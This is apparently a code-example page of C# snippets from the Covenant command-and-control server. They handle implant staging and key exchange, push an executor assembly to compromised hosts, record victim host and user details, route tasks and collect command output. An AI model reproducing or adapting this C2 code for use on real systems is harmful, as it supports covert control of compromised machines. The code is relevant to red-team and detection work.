Ejemplo n.º 1
0
 // Convenience method for decrypting an EncryptedMessagePacket
 public static byte[] AesDecrypt(ModelUtilities.GruntEncryptedMessage encryptedMessage, byte[] key)
 {
     return(AesDecrypt(
                Convert.FromBase64String(encryptedMessage.IV).Concat(Convert.FromBase64String(encryptedMessage.EncryptedMessage)).ToArray(),
                key
                ));
 }
Ejemplo n.º 2
0
        private ModelUtilities.GruntEncryptedMessage CreateMessageForGrunt(APIModels.Grunt grunt, APIModels.Grunt targetGrunt, byte[] message)
        {
            List <string> path = _client.ApiGruntsByIdPathByCidGet(grunt.Id ?? default, targetGrunt.Id ?? default).ToList();

            path.Reverse();
            ModelUtilities.GruntEncryptedMessage     finalMessage = null;
            ModelUtilities.GruntEncryptedMessageType messageType  = ModelUtilities.GruntEncryptedMessageType.Tasking;
            foreach (string guid in path)
            {
                APIModels.Grunt thisGrunt = _client.ApiGruntsGuidByGuidGet(guid);
                finalMessage = ModelUtilities.GruntEncryptedMessage.Create(
                    thisGrunt,
                    message,
                    messageType
                    );
                message     = Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(finalMessage));
                messageType = ModelUtilities.GruntEncryptedMessageType.Routing;
            }
            return(finalMessage);
        }
Ejemplo n.º 3
0
        private async Task RegisterGrunt(APIModels.Grunt egressGrunt, APIModels.Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntMessage, string guid)
        {
            if (targetGrunt == null || targetGrunt.Status != APIModels.GruntStatus.Stage2 || !gruntMessage.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)))
            {
                // Always return NotFound, don't give away unnecessary info
                this.PushCache(guid, new GruntMessageCacheInfo {
                    Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null
                });
                return;
            }
            if (egressGrunt == null)
            {
                egressGrunt = targetGrunt;
            }
            string message = Common.CovenantEncoding.GetString(_utilities.GruntSessionDecrypt(targetGrunt, gruntMessage));

            // todo: try/catch on deserialize?
            APIModels.Grunt grunt = JsonConvert.DeserializeObject <APIModels.Grunt>(message);
            targetGrunt.IpAddress       = grunt.IpAddress;
            targetGrunt.Hostname        = grunt.Hostname;
            targetGrunt.OperatingSystem = grunt.OperatingSystem;
            targetGrunt.UserDomainName  = grunt.UserDomainName;
            targetGrunt.UserName        = grunt.UserName;
            targetGrunt.Status          = APIModels.GruntStatus.Active;
            targetGrunt.Integrity       = grunt.Integrity;
            targetGrunt.Process         = grunt.Process;
            targetGrunt.LastCheckIn     = DateTime.UtcNow;

            await _client.ApiGruntsPutAsync(targetGrunt);

            APIModels.GruntTaskingMessage tasking = new APIModels.GruntTaskingMessage
            {
                Message = targetGrunt.Guid,
                Name    = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10),
                Type    = APIModels.GruntTaskingType.Jobs,
                Token   = false
            };

            ModelUtilities.GruntEncryptedMessage responseMessage;
            try
            {
                responseMessage = this.CreateMessageForGrunt(egressGrunt, targetGrunt, tasking);
            }
            catch (HttpOperationException)
            {
                this.PushCache(guid, new GruntMessageCacheInfo {
                    Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null
                });
                return;
            }

            // Transform response
            string transformed = this._utilities.ProfileTransform(_transform, Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(responseMessage)));

            this.PushCache(guid, new GruntMessageCacheInfo {
                Status = GruntMessageCacheStatus.Ok, Message = transformed, Tasking = null
            });
            return;
        }
Ejemplo n.º 4
0
        private async Task PostStage2(APIModels.Grunt egressGrunt, APIModels.Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntStage2Response, string guid)
        {
            if (targetGrunt == null || targetGrunt.Status != APIModels.GruntStatus.Stage1 || !gruntStage2Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)))
            {
                // Always return NotFound, don't give away unnecessary info
                this.PushCache(guid, new GruntMessageCacheInfo {
                    Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null
                });
                return;
            }
            if (egressGrunt == null)
            {
                egressGrunt = targetGrunt;
            }
            byte[] challenge2test = _utilities.GruntSessionDecrypt(targetGrunt, gruntStage2Response);
            if (targetGrunt.GruntChallenge != Convert.ToBase64String(challenge2test))
            {
                // Always return NotFound, don't give away unnecessary info
                this.PushCache(guid, new GruntMessageCacheInfo {
                    Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null
                });
                return;
            }
            targetGrunt.Status      = APIModels.GruntStatus.Stage2;
            targetGrunt.LastCheckIn = DateTime.UtcNow;
            await _client.ApiGruntsPutAsync(targetGrunt);

            byte[] GruntExecutorAssembly = await this._client.ApiGruntsByIdCompileexecutorGetAsync(targetGrunt.Id ?? default);

            ModelUtilities.GruntEncryptedMessage message;
            try
            {
                message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, GruntExecutorAssembly);
            }
            catch (HttpOperationException)
            {
                string emptyTransformed = this._utilities.ProfileTransform(_transform, Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject("")));
                throw new ControllerNotFoundException(emptyTransformed);
            }

            // Transform response
            // returns: "Base64(IV),Base64(AES(GruntExecutorAssembly)),Base64(HMAC)"
            string transformed = this._utilities.ProfileTransform(_transform, Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));

            this.PushCache(guid, new GruntMessageCacheInfo {
                Status = GruntMessageCacheStatus.Ok, Message = transformed, Tasking = null
            });
            return;
        }
Ejemplo n.º 5
0
        private async Task PostStage1(APIModels.Grunt egressGrunt, APIModels.Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntStage1Response, string guid)
        {
            if (targetGrunt == null || targetGrunt.Status != APIModels.GruntStatus.Stage0 || !gruntStage1Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)))
            {
                // Always return NotFound, don't give away unnecessary info
                this.PushCache(guid, new GruntMessageCacheInfo {
                    Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null
                });
                return;
            }
            if (egressGrunt == null)
            {
                egressGrunt = targetGrunt;
            }
            byte[] challenge1 = _utilities.GruntSessionDecrypt(targetGrunt, gruntStage1Response);
            byte[] challenge2 = new byte[4];
            using (RandomNumberGenerator rng = RandomNumberGenerator.Create())
            {
                rng.GetBytes(challenge2);
            }
            // Save challenge to compare on response
            targetGrunt.GruntChallenge = Convert.ToBase64String(challenge2);
            targetGrunt.Status         = APIModels.GruntStatus.Stage1;
            targetGrunt.LastCheckIn    = DateTime.UtcNow;
            await _client.ApiGruntsPutAsync(targetGrunt);

            ModelUtilities.GruntEncryptedMessage message;
            try
            {
                message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, challenge1.Concat(challenge2).ToArray());
            }
            catch (HttpOperationException)
            {
                this.PushCache(guid, new GruntMessageCacheInfo {
                    Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null
                });
                return;
            }

            // Transform response
            // Stage1Response: "Base64(IV),Base64(AES(challenge1 + challenge2)),Base64(HMAC)"
            string transformed = this._utilities.ProfileTransform(_transform, Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));

            this.PushCache(guid, new GruntMessageCacheInfo {
                Status = GruntMessageCacheStatus.Ok, Message = transformed, Tasking = null
            });
            return;
        }
Ejemplo n.º 6
0
        private async Task PostStage0(APIModels.Grunt egressGrunt, APIModels.Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntStage0Response, string guid)
        {
            if (targetGrunt == null || !gruntStage0Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword)))
            {
                // Always return NotFound, don't give away unnecessary info
                this.PushCache(guid, new GruntMessageCacheInfo {
                    Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null
                });
                return;
            }
            bool egressGruntExists = egressGrunt != null;

            if (targetGrunt.Status != APIModels.GruntStatus.Uninitialized)
            {
                // We create a new Grunt if this one is not uninitialized
                APIModels.Grunt tempModel = new APIModels.Grunt
                {
                    Id   = 0,
                    Name = Utilities.CreateShortGuid(),
                    Guid = guid,
                    OriginalServerGuid        = Utilities.CreateShortGuid(),
                    Status                    = APIModels.GruntStatus.Stage0,
                    ListenerId                = targetGrunt.ListenerId,
                    Listener                  = targetGrunt.Listener,
                    ImplantTemplateId         = targetGrunt.ImplantTemplateId,
                    ImplantTemplate           = targetGrunt.ImplantTemplate,
                    GruntSharedSecretPassword = targetGrunt.GruntSharedSecretPassword,
                    SmbPipeName               = targetGrunt.SmbPipeName,
                    Delay                  = targetGrunt.Delay,
                    JitterPercent          = targetGrunt.JitterPercent,
                    KillDate               = targetGrunt.KillDate,
                    ConnectAttempts        = targetGrunt.ConnectAttempts,
                    DotNetFrameworkVersion = targetGrunt.DotNetFrameworkVersion,
                    LastCheckIn            = DateTime.UtcNow
                };
                targetGrunt = await _client.ApiGruntsPostAsync(tempModel);
            }
            else
            {
                targetGrunt.Status      = APIModels.GruntStatus.Stage0;
                targetGrunt.Guid        = guid;
                targetGrunt.LastCheckIn = DateTime.UtcNow;
                targetGrunt             = await _client.ApiGruntsPutAsync(targetGrunt);
            }
            if (!egressGruntExists)
            {
                egressGrunt = targetGrunt;
            }

            // EncryptedMessage is the RSA Public Key
            targetGrunt.GruntRSAPublicKey = Convert.ToBase64String(EncryptUtilities.AesDecrypt(
                                                                       gruntStage0Response,
                                                                       Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword)
                                                                       ));
            // Generate negotiated session key
            using (Aes newAesKey = Aes.Create())
            {
                newAesKey.GenerateKey();
                targetGrunt.GruntNegotiatedSessionKey = Convert.ToBase64String(newAesKey.Key);
                await _client.ApiGruntsPutAsync(targetGrunt);
            }

            if (egressGruntExists)
            {
                // Add this as Child grunt to Grunt that connects it
                List <APIModels.GruntTasking> taskings = _client.ApiTaskingsGet().ToList();
                // TODO: Finding the connectTasking this way could cause race conditions, should fix w/ guid of some sort?
                APIModels.GruntTasking connectTasking = taskings.Where(GT => GT.Type == APIModels.GruntTaskingType.Connect && GT.Status == APIModels.GruntTaskingStatus.Progressed).Reverse().FirstOrDefault();
                if (connectTasking == null)
                {
                    this.PushCache(guid, new GruntMessageCacheInfo {
                        Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null
                    });
                    return;
                }
                APIModels.GruntTaskingMessage tmessage = this.GetGruntTaskingMessage(connectTasking, targetGrunt.DotNetFrameworkVersion);
                targetGrunt.Hostname = tmessage.Message.Split(",")[0];
                await _client.ApiGruntsPutAsync(targetGrunt);

                connectTasking.Status = APIModels.GruntTaskingStatus.Completed;
                await _client.ApiTaskingsPutAsync(connectTasking);
            }

            byte[] rsaEncryptedBytes = EncryptUtilities.GruntRSAEncrypt(targetGrunt, Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey));
            ModelUtilities.GruntEncryptedMessage message = null;
            try
            {
                message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, rsaEncryptedBytes);
            }
            catch (HttpOperationException)
            {
                this.PushCache(guid, new GruntMessageCacheInfo {
                    Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null
                });
                return;
            }
            // Transform response
            // Stage0Response: "Id,Name,Base64(IV),Base64(AES(RSA(SessionKey))),Base64(HMAC)"
            string transformed = this._utilities.ProfileTransform(_transform, Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));

            this.PushCache(guid, new GruntMessageCacheInfo {
                Status = GruntMessageCacheStatus.Ok, Message = transformed, Tasking = null
            });
            return;
        }
Ejemplo n.º 7
0
        private async Task PostTask(APIModels.Grunt egressGrunt, APIModels.Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage outputMessage, string guid)
        {
            if (targetGrunt == null || egressGrunt == null || egressGrunt.Guid != guid)
            {
                // Invalid GUID. May not be legitimate Grunt request, respond NotFound
                this.PushCache(guid, new GruntMessageCacheInfo {
                    Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null
                });
                return;
            }

            string TaskName = outputMessage.Meta;

            if (string.IsNullOrWhiteSpace(TaskName))
            {
                // Invalid task response. This happens on post-register write
                this.PushCache(guid, new GruntMessageCacheInfo {
                    Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null
                });
                return;
            }
            APIModels.GruntTasking gruntTasking;
            try
            {
                gruntTasking = await _client.ApiGruntsTaskingsByTaskingnameGetAsync(TaskName);
            }
            catch (HttpOperationException)
            {
                // Invalid taskname. May not be legitimate Grunt request, respond NotFound
                this.PushCache(guid, new GruntMessageCacheInfo {
                    Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null
                });
                return;
            }

            if (targetGrunt == null)
            {
                // Invalid Grunt. May not be legitimate Grunt request, respond NotFound
                this.PushCache(guid, new GruntMessageCacheInfo {
                    Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null
                });
                return;
            }
            if (!outputMessage.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)))
            {
                // Invalid signature. Almost certainly not a legitimate Grunt request, respond NotFound
                this.PushCache(guid, new GruntMessageCacheInfo {
                    Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null
                });
                return;
            }
            string taskOutput = Common.CovenantEncoding.GetString(_utilities.GruntSessionDecrypt(targetGrunt, outputMessage));

            gruntTasking.GruntCommand.CommandOutput = new APIModels.CommandOutput
            {
                Id             = 0,
                GruntCommandId = gruntTasking.GruntCommandId,
                Output         = taskOutput
            };
            gruntTasking.GruntCommand.CommandOutputId = 0;
            gruntTasking.Status         = APIModels.GruntTaskingStatus.Completed;
            gruntTasking.CompletionTime = DateTime.UtcNow;
            gruntTasking.GruntCommand   = await _client.ApiCommandsPutAsync(gruntTasking.GruntCommand);

            await _client.ApiTaskingsPutAsync(gruntTasking);

            lock (_hashCodesLock)
            {
                this.CacheTaskHashCodes.Remove(GetTaskingHashCode(gruntTasking));
            }
            if (gruntTasking.Type == APIModels.GruntTaskingType.SetOption || gruntTasking.Type == APIModels.GruntTaskingType.Exit)
            {
                targetGrunt = await _client.ApiGruntsByIdGetAsync(targetGrunt.Id ?? default);
            }
            await CheckInGrunt(targetGrunt);

            return;
        }
Ejemplo n.º 8
0
        public async Task <string> Write(string guid, string data)
        {
            try
            {
                ModelUtilities.GruntEncryptedMessage message = null;
                try
                {
                    string inverted = Common.CovenantEncoding.GetString(this._utilities.ProfileInvert(_transform, data));
                    message = JsonConvert.DeserializeObject <ModelUtilities.GruntEncryptedMessage>(inverted);
                }
                catch (Exception)
                {
                    // Request not formatted correctly. May not be legitimate Grunt request, respond NotFound
                    this.PushCache(guid, new GruntMessageCacheInfo {
                        Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null
                    });
                    return(guid);
                }
                APIModels.Grunt egressGrunt;
                try
                {
                    egressGrunt = guid == null ? null : await _client.ApiGruntsGuidByGuidGetAsync(guid);
                }
                catch (HttpOperationException)
                {
                    egressGrunt = null;
                }
                APIModels.Grunt targetGrunt = null;
                try
                {
                    targetGrunt = await _client.ApiGruntsGuidByGuidGetAsync(message.GUID);
                }
                catch (HttpOperationException)
                {
                    targetGrunt = null;
                    // Stage0 Guid is OriginalServerGuid + Guid
                    if (message.GUID.Length == 20)
                    {
                        string originalServerGuid = message.GUID.Substring(0, 10);
                        string newGuid            = message.GUID.Substring(10);
                        targetGrunt = await _client.ApiGruntsOriginalguidByServerguidGetAsync(originalServerGuid);

                        guid = newGuid;
                        await this.PostStage0(egressGrunt, targetGrunt, message, guid);

                        return(guid);
                    }
                    else
                    {
                        this.PushCache(guid, new GruntMessageCacheInfo {
                            Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null
                        });
                        return(guid);
                    }
                }
                switch (targetGrunt.Status)
                {
                case APIModels.GruntStatus.Uninitialized:
                    await this.PostStage0(egressGrunt, targetGrunt, message, guid);

                    return(guid);

                case APIModels.GruntStatus.Stage0:
                    await this.PostStage1(egressGrunt, targetGrunt, message, message.GUID);

                    return(message.GUID);

                case APIModels.GruntStatus.Stage1:
                    await this.PostStage2(egressGrunt, targetGrunt, message, message.GUID);

                    return(message.GUID);

                case APIModels.GruntStatus.Stage2:
                    await this.RegisterGrunt(egressGrunt, targetGrunt, message, message.GUID);

                    return(message.GUID);

                case APIModels.GruntStatus.Active:
                    await this.PostTask(egressGrunt, targetGrunt, message, egressGrunt.Guid);

                    return(guid);

                case APIModels.GruntStatus.Lost:
                    await this.PostTask(egressGrunt, targetGrunt, message, egressGrunt.Guid);

                    return(guid);

                default:
                    this.PushCache(guid, new GruntMessageCacheInfo {
                        Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null
                    });
                    return(guid);
                }
            }
            catch
            {
                this.PushCache(guid, new GruntMessageCacheInfo {
                    Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null
                });
                return(guid);
            }
        }
Ejemplo n.º 9
0
        private async Task InternalRead(string guid)
        {
            try
            {
                APIModels.Grunt grunt = await CheckInGrunt(await GetGruntForGuid(guid));

                if (grunt == null)
                {
                    // Invalid GUID. May not be legitimate Grunt request, respond Ok
                    this.PushCache(guid, new GruntMessageCacheInfo {
                        Status = GruntMessageCacheStatus.Ok, Message = ""
                    });
                }
                else
                {
                    IList <APIModels.GruntTasking> gruntTaskings = await _client.ApiGruntsByIdTaskingsSearchUninitializedGetAsync(grunt.Id ?? default);

                    if (gruntTaskings == null || gruntTaskings.Count == 0)
                    {
                        // No GruntTasking assigned. Respond with empty template
                        this.PushCache(guid, new GruntMessageCacheInfo {
                            Status = GruntMessageCacheStatus.Ok, Message = ""
                        });
                    }
                    else
                    {
                        foreach (APIModels.GruntTasking tasking in gruntTaskings)
                        {
                            APIModels.GruntTasking gruntTasking = tasking;
                            if (gruntTasking.Type == APIModels.GruntTaskingType.Assembly && gruntTasking.GruntTask == null)
                            {
                                // Can't find corresponding task. Should never reach this point. Will just respond NotFound.
                                this.PushCache(guid, new GruntMessageCacheInfo {
                                    Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = gruntTasking
                                });
                            }
                            else
                            {
                                gruntTasking.Grunt = gruntTasking.GruntId == grunt.Id ? grunt : await _client.ApiGruntsByIdGetAsync(gruntTasking.GruntId);

                                ModelUtilities.GruntEncryptedMessage message = null;
                                try
                                {
                                    message = this.CreateMessageForGrunt(grunt, gruntTasking.Grunt, this.GetGruntTaskingMessage(gruntTasking, gruntTasking.Grunt.DotNetFrameworkVersion));
                                    // Transform response
                                    string transformed = this._utilities.ProfileTransform(_transform, Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
                                    this.PushCache(guid, new GruntMessageCacheInfo {
                                        Status = GruntMessageCacheStatus.Ok, Message = transformed, Tasking = gruntTasking
                                    });
                                }
                                catch (HttpOperationException)
                                {
                                    gruntTasking.Status = APIModels.GruntTaskingStatus.Aborted;
                                    await _client.ApiTaskingsPutAsync(gruntTasking);

                                    this.PushCache(guid, new GruntMessageCacheInfo {
                                        Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null
                                    });
                                }
                            }
                        }
                    }
                }
            }
            catch (Exception)
            {
                this.PushCache(guid, new GruntMessageCacheInfo {
                    Status = GruntMessageCacheStatus.NotFound, Message = ""
                });
            }
        }